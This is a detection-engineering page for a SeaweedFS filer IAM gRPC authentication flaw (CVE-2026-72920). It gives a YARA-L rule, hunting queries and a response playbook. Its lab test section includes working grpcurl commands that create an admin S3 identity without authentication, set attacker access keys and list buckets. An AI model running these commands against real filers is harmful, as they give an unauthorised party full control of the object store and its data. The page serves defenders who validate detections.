CVE-2026-72920 Google Chronicle · YARA-L

Detect SeaweedFS Unauthenticated Filer IAM gRPC S3 Admin Takeover (CVE-2026-72920) in Google Chronicle

Detects exploitation of CVE-2026-72920, a missing-authentication flaw (CWE-306) in SeaweedFS where the filer's IAM gRPC service exposes S3 identity/credential management without authentication. An unauthenticated attacker can invoke IAM gRPC RPCs (e.g. CreateIdentity/ConfigureS3/UpdateS3Credentials) against the filer's gRPC port to mint S3 admin credentials, add access keys, or alter bucket policies — yielding full administrative control of the object store. Detection focuses on anomalous gRPC calls to the SeaweedFS filer IAM service, sudden creation of new S3 identities/access keys, and follow-on S3 admin actions from untrusted sources. Affected: github.com/seaweedfs/seaweedfs versions before 0.0.0-20260512171108-5e8f99f40a8a (release 4.24).

MITRE ATT&CK

Tactic
Initial Access Privilege Escalation Persistence Collection

YARA-L Detection Query

Google Chronicle (YARA-L)
yaral 
rule seaweedfs_cve_2026_72920_iam_grpc {
  meta:
    author = "Argus"
    description = "Unauthenticated SeaweedFS filer IAM gRPC S3 admin takeover"
    cve = "CVE-2026-72920"
    severity = "CRITICAL"
  events:
    $e.network.ip_protocol = "TCP"
    ($e.target.port = 18888 or $e.target.port = 18889 or $e.target.port = 16333)
    (
      $e.metadata.description = /CreateIdentity/ nocase or
      $e.metadata.description = /ConfigureS3/ nocase or
      $e.metadata.description = /UpdateS3Credentials/ nocase or
      $e.metadata.description = /iam_pb/ nocase
    )
    $src = $e.principal.ip
  match:
    $src over 5m
  condition:
    $e
}
critical severity medium confidence

Chronicle YARA-L rule matching gRPC IAM mutation methods against SeaweedFS filer ports.

Data Sources

Network telemetry (UDM)SeaweedFS filer logs

Required Tables

udm.events

False Positives & Tuning

  • Admin provisioning workflows
  • Automated credential management
  • Authorized vulnerability scans

Other platforms for CVE-2026-72920

Microsoft Sentinel (KQL) Splunk (SPL) Elastic Security (Elastic) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Invoke SeaweedFS filer IAM gRPC CreateIdentity unauthenticated

    Expected signal: Network connection to port 18888 and filer gRPC log entry for CreateIdentity from the test source IP.

  2. Test 2Fingerprint SeaweedFS filer gRPC IAM service

    Expected signal: gRPC reflection/list request to port 18888 recorded in network and filer logs.

  3. Test 3Provision and use attacker S3 credentials via UpdateS3Credentials

    Expected signal: UpdateS3Credentials gRPC call on 18888 followed by S3 ListBuckets on 8333 using the new access key.

Last updated: 2026-09-05 Research depth: standard
References (6)

Response Playbook

Triage

  1. Confirm the affected filer's SeaweedFS version is below 0.0.0-20260512171108-5e8f99f40a8a (pre-release 4.24); versions at or above are patched.
  2. Identify the source IP invoking the IAM gRPC methods and determine whether it is a known administrative/automation host or an untrusted/external source.
  3. Pull the filer's IAM configuration (identities.json / config) and diff against the last known-good baseline to spot newly created identities or access keys.
  4. Correlate the timing of the gRPC IAM call with any subsequent S3 API activity (bucket creation, ListBuckets, object exfiltration) from the new credentials.

Containment

  1. Restrict network access to the filer gRPC port (default 18888) to trusted management CIDRs only via firewall/security group, and block the offending source IP.
  2. Revoke and rotate all S3 identities and access keys created or modified during the incident window; delete any attacker-provisioned identities.
  3. Upgrade SeaweedFS to release 4.24 (commit 5e8f99f40a8a) or later to enforce authentication on the filer IAM gRPC service.

Evidence Collection

  1. Capture the filer gRPC/access logs and the IAM config file (identities.json) showing created identities and credential mutations.
  2. Preserve network flow/pcap for the source IP to the filer gRPC port, including HTTP/2 frames revealing the invoked RPC methods.
  3. Export S3 access logs for all buckets to document any data accessed or exfiltrated using attacker-minted credentials.

Escalation Criteria

  • !Escalate to incident response if a new S3 identity/access key was created by an untrusted source and used to access buckets.
  • !Escalate to data-breach/legal workflow if object listing or download from sensitive buckets is observed under attacker credentials.

Investigation Guide

Related Techniques

[object Object][object Object][object Object]

Forensic Artifacts

  • >SeaweedFS filer IAM config file (identities.json) with newly added identity/credential entries
  • >Filer gRPC access logs recording CreateIdentity/ConfigureS3/UpdateS3Credentials invocations
  • >Network flow records and HTTP/2 payloads to filer gRPC port 18888
  • >S3 access logs showing use of attacker-provisioned access keys

Tuning Guidance

Baseline the set of hosts that legitimately administer SeaweedFS IAM (management jump hosts, CI/CD runners) and allowlist their source IPs. Restrict alerting to filer gRPC ports actually in use in your environment (default 18888) and to IAM mutation methods rather than benign read RPCs. If gRPC payload inspection is unavailable, rely on port + external-source heuristics and correlate with filer-side IAM config changes to reduce noise.

Hunting Queries

Hunt for external connections to SeaweedFS filer gRPC ports and IAM mutation events, then pivot to the identities/credentials touched.

Hunting — KQL
kql 
DeviceNetworkEvents | where RemotePort in (18888,18889,16333) | where not(ipv4_is_private(RemoteIP)) | summarize count() by RemoteIP, DeviceName, bin(Timestamp,1h)
Hunting — SPL
spl 
index=seaweedfs sourcetype=seaweedfs:filer ("CreateIdentity" OR "ConfigureS3" OR "UpdateS3Credentials") | stats count values(identity) by src_ip _time

Atomic Red Team Tests

Test 1 Invoke SeaweedFS filer IAM gRPC CreateIdentity unauthenticated
linux

Simulate an unauthenticated gRPC call to the SeaweedFS filer IAM service to create a new S3 identity in a lab.

Command

bash 
grpcurl -plaintext -d '{"identity":{"name":"attacker","credentials":[{"accessKey":"AKIAATTACKER","secretKey":"s3cr3t"}],"actions":["Admin"]}}' filer.lab.local:18888 iam_pb.SeaweedIdentityAccessManagement/CreateIdentity

Cleanup

bash 
grpcurl -plaintext -d '{"name":"attacker"}' filer.lab.local:18888 iam_pb.SeaweedIdentityAccessManagement/DeleteIdentity

Expected Telemetry

Network connection to port 18888 and filer gRPC log entry for CreateIdentity from the test source IP.

Expected Detection

KQL/SPL rules fire on the CreateIdentity method from a non-private source IP.

Test 2 Fingerprint SeaweedFS filer gRPC IAM service
linux

Enumerate the unauthenticated IAM gRPC service via reflection to confirm exposure.

Command

bash 
grpcurl -plaintext filer.lab.local:18888 list iam_pb.SeaweedIdentityAccessManagement

Cleanup

bash 
echo 'no cleanup required for enumeration'

Expected Telemetry

gRPC reflection/list request to port 18888 recorded in network and filer logs.

Expected Detection

Network-based rules surface external connection to the filer gRPC port; payload rules match iam_pb reference.

Test 3 Provision and use attacker S3 credentials via UpdateS3Credentials
linux

Chain identity creation with an S3 access-key mutation then a bucket list to emulate full takeover in a lab.

Command

bash 
grpcurl -plaintext -d '{"name":"attacker","credentials":[{"accessKey":"AKIAATTACKER","secretKey":"s3cr3t"}]}' filer.lab.local:18888 iam_pb.SeaweedIdentityAccessManagement/UpdateS3Credentials; AWS_ACCESS_KEY_ID=AKIAATTACKER AWS_SECRET_ACCESS_KEY=s3cr3t aws --endpoint-url http://filer.lab.local:8333 s3 ls

Cleanup

bash 
grpcurl -plaintext -d '{"name":"attacker"}' filer.lab.local:18888 iam_pb.SeaweedIdentityAccessManagement/DeleteIdentity

Expected Telemetry

UpdateS3Credentials gRPC call on 18888 followed by S3 ListBuckets on 8333 using the new access key.

Expected Detection

Correlation of IAM gRPC mutation with subsequent S3 admin activity from attacker access key triggers the sequence/EQL rule.

Related Detections

Tactic Hubs

TA0001Initial AccessTA0004Privilege EscalationTA0003PersistenceTA0009Collection

Related Techniques

T1190Exploit Public-Facing ApplicationT1078Valid AccountsT1098Account Manipulation

Same Tactic: Initial Access

Popular Detections